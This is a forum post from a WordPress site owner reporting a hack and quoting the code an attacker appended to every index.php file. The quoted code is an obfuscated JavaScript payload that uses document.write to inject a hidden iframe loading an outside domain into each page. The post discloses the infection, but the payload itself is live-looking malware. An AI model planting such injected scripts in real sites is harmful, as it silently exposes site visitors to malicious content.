Hacked WordPress

Hi,

I was using WordPress 2.6.2 and my site got hacked. I have since upgraded to 2.7.1 and believe that I have cleaned it all up now.

This is what someone put into all of my index.php files:

<?php
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define('WP_USE_THEMES', true);

/** Loads the WordPress Environment and Template */
require('./wp-blog-header.php');
?><!-- ad --><script>
uyimh=687;
qxcxg=4804;
ddytx=7948;
xkjpv="write";
mzsrv="me";
zqfqw="et";
gdtrk="/' st";
rpiia="yl";
qxaol="";
ldlvw="i";
zfhuu="ty";
hvkhb=":h";
hbqmm="d";
hauzn="";
zdqdp=4;
sjgbi="if";
rpygo="r";
syjnh=" sr";
rwanv="c";
elujl="=";
hrgnc=863;
akzpp=8853;
tplxn=" ";
cvtot="</";
qtndm="";
jlooz=3953;
uyimh=687;
qxcxg=4804;
ddytx=7948;
xkjpv="write";
mzsrv="me";
zqfqw="et";
gdtrk="/' st";
rpiia="yl";
qxaol="";
ldlvw="i";
zfhuu="ty";
hvkhb=":h";
hbqmm="d";
hauzn="";
zdqdp=4;
sjgbi="if";
rpygo="r";
syjnh=" sr";
rwanv="c";
elujl="=";
hrgnc=863;
akzpp=8853;
tplxn=" ";
cvtot="</";
qtndm="";
jlooz=3953;
gftzo=(9.007e3>=5e1?uyimh:qxcxg);
jjaqh=(ddytx>.2438?xkjpv:3.);
gmbpt=(7.3e1>=36?mzsrv:.45);
zxtsi=(323,zqfqw+gdtrk+rpiia+"e='"+"v"+"isib");
hzpmf=(0x587,qxaol+ldlvw+"li"+zfhuu+hvkhb+"id"+hbqmm+"en"+"'"+hauzn);
rmtyf=(6.5e1,"");

aaa=((567,gftzo),(0x2,document))[((0.3,2.46e2)>=(17,7918.)?(5249.>=0.8188?0x816:.5486):(.2717<=.77?jjaqh:0x14))](((zdqdp,2.),(0.591,""+"<"+sjgbi+rpygo+"a")+(82,gmbpt)+(0.1301,syjnh+rwanv+elujl+"'"+"h"+"ttp"+"")+(8581.<.887?0.7:"://t"+"ruittbros.n")+(476,zxtsi)+(hrgnc>=akzpp?9.909e3:hzpmf)+(69<38.?0.249:tplxn+">"+cvtot+"if"+qtndm)+(2.>1.?"ram"+"e>":64.)+(223.>=jlooz?1.:rmtyf)));</script><!-- /ad -->